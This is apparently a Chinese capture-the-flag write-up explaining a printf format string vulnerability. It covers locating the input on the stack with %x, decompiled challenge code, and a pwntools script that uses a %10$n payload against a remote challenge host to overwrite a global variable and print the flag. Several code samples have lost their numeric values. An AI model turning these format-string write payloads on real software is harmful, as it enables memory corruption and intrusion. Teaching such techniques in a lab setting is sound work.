测试文件:https://adworld.xctf.org.cn/media/task/attachments/5982010c172744c8a1c93c24b5200b21

1.格式化字符串漏洞

我们使用printf输出字符串数组可以写成格式化输出:

#include <stdio.h>

int main()
{
char Buf[];
printf("Please inpurt flag:");
scanf("%s",Buf);
printf("%s",Buf);
return ;
}

但是也可以使用

#include <stdio.h>

int main()
{
char Buf[];
printf("Please inpurt flag:");
scanf("%s",Buf);
printf(Buf);
return ;
}

但是这种输出方式有漏洞,当我们输入格式化字符串时

printf函数的调用方式为cdecl,在栈中参数形式为

(图片引用自:https://blog.csdn.net/qq_43394612/article/details/84900668)

当我们输入%x格式字符串,printf会将后面栈中数据以%x形式输出,这个61fe6c实际上就是format string后面的数据,可以在OD里面观测到

因此如果我们输入字符串"ABCD",能够确认字符串在栈中的位置的话,那么我们就能够修改栈中的字符串,而通过上面的阐述,我们能够输入ABCD.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x,来确认"ABCD"在栈中的位置。

当前字符串"ABCD"是在第6位,%< number>$x 是直接读取第number个位置的参数,同样可以用在%n,%d。

具体可以参考这篇: https://blog.csdn.net/qq_43394612/article/details/84900668

2.准备

获取到信息

  • 32位文件
  • 未开启PIE,不会随机化全局变量地址

3.使用IDA打开文件

int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
__int16 v6; // [esp+26h] [ebp-76h]
char s; // [esp+28h] [ebp-74h]
unsigned int v8; // [esp+8Ch] [ebp-10h] v8 = __readgsdword(0x14u);
setbuf(stdin, );
setbuf(stdout, );
setbuf(stderr, );
buf = ;
v5 = ;
v6 = ;
memset(&s, , 0x64u);
puts("please tell me your name:");
read(, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, , stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return ;
}

通过分析,很明显我们只需要让pwnme的值为8就行,首先需要了解%n

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。,%< number >$n 来直接修改第number个参数来修改栈中的值。

字符串存储在第10位(也可以使用OD或者GDB调试找到位置)

4.脚本解密

#-*- coding:utf-8 -*-
from pwn import * p = remote('111.198.29.45', 33059)
pwnme = 0x0804A068 # pwnme所在地址,因为是全局变量,地址不会变
payload1 = 'AAAA'
# 字符串位置在第10位,因此是%10$n
# 又因为p32(pwnme)占4字节,因此还需要4字节,才能返回8,所以是'AAAA%10$n'
payload2 = p32(pwnme) + 'AAAA%10$n' p.recvuntil('please tell me your name:\n')
p.sendline(payload1)
p.recvuntil('leave your message please:\n')
p.sendline(payload2) # 将8写入到pwnme中
# print(p.recv())
# print(p.recv())
p.interactive()

5.get flag!

cyberpeace{3343a4a64b9a2ed42e7fcd07386397f3}

最新文章

  1. linux创建进程fork的方法步骤
  2. (转载)使用 udev 高效、动态地管理 Linux 设备文件
  3. AngularJS-MVC
  4. 使用XtraGrid自定义列计算1 z
  5. [转] linux下查看文件编码及修改编码
  6. SQL Server 823,824 错误
  7. 2016 Multi-University Training Contest 5&amp;6 总结
  8. 从底层角度看ASP.NET-A low-level Look at the ASP.NET...
  9. HTML5中的Web Notification桌面通知
  10. Android开发之漫漫长途 XIV——ListView
  11. [SDOI2011]染色
  12. 关于Java中基类构造器的调用问题
  13. 记一次nmap扫描信息收集过程
  14. spring遇到的Error applying BeanValidation relational constraints
  15. react-native中的navigator
  16. Codeforces 982E Billiard exgcd
  17. MySQL Connector/J
  18. jquery 获取表单的用户输入值的方法
  19. Linux renew ip command
  20. VC++创建快捷方式、删除快捷方式、添加开始菜单程序组菜单并删除程序组菜单的实例

热门文章

  1. sh_08_打印小星星
  2. [BZOJ3812]主旋律:状压DP+容斥原理
  3. java list去重方式,以及效率问题
  4. 使用Jacoco获取 Java 程序的代码执行覆盖率
  5. Using FileUpload
  6. LeetCode_001.两数之和
  7. Array Stack Implement using C
  8. 复选框checked 选中后不显示打钩
  9. 洛谷P4095新背包问题
  10. tomcat在45秒内没有启动,启动超时